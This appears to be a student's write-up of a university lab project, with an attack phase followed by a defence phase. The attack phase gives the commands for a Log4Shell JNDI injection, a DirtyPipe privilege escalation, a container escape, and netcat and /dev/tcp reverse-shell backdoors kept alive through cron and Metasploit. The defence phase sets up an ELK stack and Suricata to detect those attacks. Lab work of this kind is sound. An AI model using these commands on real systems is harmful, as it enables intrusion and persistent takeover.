SAE 6cy01 2025-2026

Réagir face à une cyber attaque

Exploitation de vulnérabilités (Log4J, DirtyPipe), puis mise en place d'un SIEM ELK/Suricata pour les détecter

Log4J / DirtyPipe ELK Stack Suricata Kali Linux

Le projet

Cette SAE se déroule en deux grandes parties. Dans un premier temps, nous testons l'infrastructure web d'une entreprise fictive en exploitant des vulnérabilités connues : Log4J (CVE-2021-44228) pour obtenir un reverse shell, puis DirtyPipe (CVE-2022-0847) pour escalader les privilèges jusqu'à root. Nous installons ensuite une backdoor persistante.

Dans un second temps, nous installons et configurons un SIEM, la stack ELK en l'occurrence afin de détecter et analyser les deux attaques précédemment réalisées.

Phase 1 — Reconnaissance
OSINT

Collecte d'informations publiques

Avant toute attaque, phase de reconnaissance passive via Google et LinkedIn pour identifier la cible SARL Prosecur, ses employés et son domaine.

Entreprise : fr.linkedin.com/company/sarl-prosecur

Domaine : loadigit.fr

Directeur IT : Christopher Harrison
OSINT LinkedIn
Scan Nmap

Reconnaissance réseau

Scan Nmap sur la cible pour identifier les services exposés.

Port 80 — nginx 1.22.0
PORT STATE SERVICE VERSION 80/tcp open http nginx 1.22.0 |_http-title: Royal Device: Linux 4.X (88%) HOP 1 — www.prosecure.sae (10.1.109.36)
Scan Nmap
Phase 2 — Exploitation
CVE-2021-44228 — Log4Shell

Exploitation Log4J

Scan des répertoires avec DIRB, puis brute force des credentials avec Hydra sur le répertoire /developers protégé.

Credentials trouvés : test:genius

Injection du payload JNDI via le header -e de curl pour forcer le serveur vulnérable à se connecter à notre serveur LDAP malveillant, déclenchant l'exécution d'un reverse shell.

Exploitation Log4J

 Déroulement de l'exploit

1 — Netcat

Démarrer un listener sur le port 9999 pour recevoir le reverse shell.

nc -lnvp 9999

2 — Serveur LDAP

Lancer le serveur JNDI malveillant qui envoie le payload au serveur qui se connecte.

java -jar JNDI-Injection-Exploit.jar \ -C "nc 10.1.109.37 9999 -e /bin/sh" \ -A 10.1.109.37

3 — Injection via curl

Forcer le serveur vulnérable à effectuer une requête LDAP vers notre serveur.

curl -u test:genius \ -e '${jndi:ldap://10.1.109.37:1389/xxx}' \ http://prosecur.sae/developers/
CVE-2022-0847 — DirtyPipe

Escalade de privilèges

Le serveur tourne sous Alpine Linux 3.8.2 dans un conteneur Docker, kernel 5.10.0-8-amd64 — vulnérable à DirtyPipe (kernels 5.8 à 5.16.11).

On transfère l'exploit via un serveur HTTP Python, on le compile sur la cible, et on l'exécute sur le binaire SUID /usr/bin/sudo.

uid=0(root) gid=0(root)
DirtyPipe exploit
# Serveur HTTP sur Kali pour transférer l'exploit python -m http.server # Sur la cible : télécharger, compiler, exécuter wget http://10.1.109.37:8000/exploit.c gcc exploit.c -o /tmp/exploit /tmp/exploit /usr/bin/sudo # Vérification id # uid=0(root) gid=0(root) # On est dans un container Docker ls -la /.dockerenv # On monte le disque hôte fdisk -l mkdir /mnt/host mount /dev/sda1 /mnt/host
Persistance

Backdoor persistante

Installation d'une backdoor qui survit aux redémarrages via deux méthodes : un crontab sur le disque hôte monté, et un service systemd via Metasploit service_persistence.

La backdoor crontab écrit directement dans /mnt/host/etc/cron.d/ (le disque hôte monté) — elle persiste donc en dehors du conteneur.

# Crontab reverse shell (toutes les minutes) cd /mnt/host/etc/cron.d/ printf "* * * * * root bash -c '0<&101-;exec 101<>/dev/tcp/10.1.109.37/5511;sh <&101 >&101 2>&101'\n" > hacker # Metasploit service_persistence msf6 > use linux/local/service_persistence msf6 > set cmd/unix/reverse_netcat msf6 > set LHOST 10.1.109.37 msf6 > set LPORT 3333 msf6 > run
Phase 3 — Sécurisation avec un SIEM
ELK Stack

Installation Elasticsearch & Kibana

Déploiement de la stack ELK via Docker. Elasticsearch stocke et indexe toutes les données de sécurité. Kibana fournit l'interface web de visualisation et de gestion.

Configuration du Fleet Server (gestionnaire d'agents) et création de politiques d'agents pour chaque type de système à surveiller.

Kibana Dashboard
Suricata

IDS réseau avec Suricata

Suricata est un IDS/IPS qui analyse le trafic réseau en temps réel. Déployé via Docker, il génère des logs au format eve.json récupérés par l'intégration Elastic.

Le mode Tap/Promiscuous permet à Suricata de voir tout le trafic du réseau sans être vu lui-même. Sur Proxmox, configuré via un hook script.

Suricata logs

  Configuration Suricata (suricata.yml)

HOME_NET: "[192.168.100.0/24,192.168.200.0/24]" HTTP_SERVERS: "[192.168.200.2,192.168.100.1,192.168.200.1]" DNS_SERVERS: "[192.168.200.1,192.168.100.1,192.168.100.13]" DC_SERVERS: "192.168.100.13" community-id: yes # Nécessaire pour corréler avec Elastic
Elastic Agents

Déploiement des agents

Agents déployés sur le serveur web (Linux) et les postes Windows. Pour pfSense (FreeBSD), pas d'agent natif disponible : on utilise rsyslog pour transférer les logs vers le Fleet Server sur le port UDP 9001.

Agent Linux

Installation via curl puis enrollment dans le Fleet.

Agent Windows

Exécutable .exe via PowerShell avec URL + token d'enrollment.

pfSense

Rsyslog → Fleet Server (UDP 9001). Intégration pfSense dans Elastic.

Elastic Fleet

Compétences développées

Cette SAE m'a permis d'appréhender la cybersécurité des deux côtés : attaque et défense. Comprendre concrètement comment fonctionne Log4Shell ou DirtyPipe — et pas seulement en théorie — change radicalement la façon dont on aborde la sécurisation d'une infrastructure. La partie SIEM m'a apporté une compréhension pratique de la détection d'intrusion et de la corrélation d'événements, des compétences directement applicables en entreprise.

Compétences acquises

Exploitation Log4J (CVE-2021-44228) Escalade de privilèges DirtyPipe Backdoor persistante (cron + systemd) ELK Stack / Elasticsearch Suricata IDS Détection d'intrusion OSINT